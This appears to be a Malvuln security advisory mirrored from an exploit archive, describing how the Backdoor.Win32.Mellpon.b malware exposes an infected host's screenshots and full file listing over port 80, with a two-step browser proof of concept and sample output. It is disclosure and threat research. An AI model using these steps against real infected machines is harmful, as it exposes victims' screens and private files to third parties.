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## https://sploitus.com/exploit?id=PACKETSTORM:165350
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/e499a4c359a8cc46e641f39c0ed548f9.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Mellpon.b  
Vulnerability: Remote Unauthenticated Information Disclosure  
Description: The malware listens on TCP port 80 and creates a dir named "tanaka" with a file named C.html, the HTML file contains a list of all dirs on the system and their contents. Third-party attackers who can reach an infected system can view the screen dumps taken periodically as well as view all directories and files on the system. The screen dumps are in a JPG file named "~ss.jpg" and can be accessed by URL http://x.x.x.x/~ss.jpg.  
Type: PE32  
MD5: e499a4c359a8cc46e641f39c0ed548f9  
Vuln ID: MVID-2021-0430  
Disclosure: 12/16/2021  
  
Exploit/PoC:  
1) Open a web browser to the infected host and navigate to C.html or ~ss.jpg.  
  
Screenshots of the infected host.  
http://x.x.x.x/~ss.jpg  
  
2) All files and directory contents.  
http://x.x.x.x/C.html  
  
2021/10/13 20:24 28131582 C.html  
  
../  
C:/  
2016/11/21 15:06 DIR $Recycle.Bin/  
2018/03/13 15:36 DIR Boot/  
2016/11/21 11:28 DIR Documents and Settings/  
2021/12/13 20:21 DIR dump/  
2017/12/13 20:41 DIR PerfLogs/  
2021/12/13 20:17 DIR Program Files/  
2021/10/03 20:49 DIR Program Files (x86)/  
2021/10/03 21:12 DIR ProgramData/  
2018/03/13 00:44 DIR Recovery/  
2018/03/13 00:45 DIR System Volume Information/  
2018/03/13 00:45 DIR Users/  
2021/07/07 21:14 DIR Windows/  
2018/03/01 01:53 398082 bootmgr  
2017/09/29 08:41 1 BOOTNXT  
2018/03/13 00:40 8192 BOOTSECT.BAK  
2021/10/12 21:10 671088640 pagefile.sys  
2021/10/12 21:10 16777216 swapfile.sys  
C:/$Recycle.Bin/  
  
etc...  
  
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